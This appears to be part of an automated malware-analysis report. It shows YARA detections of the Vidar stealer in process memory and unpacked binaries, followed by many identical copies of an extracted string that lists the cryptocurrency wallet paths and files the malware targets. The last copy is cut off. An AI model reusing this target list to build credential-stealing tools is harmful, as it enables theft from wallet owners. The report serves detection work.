Source: Yara match	File source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2443146862.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.afcae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.afcae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.ad0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7304, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local 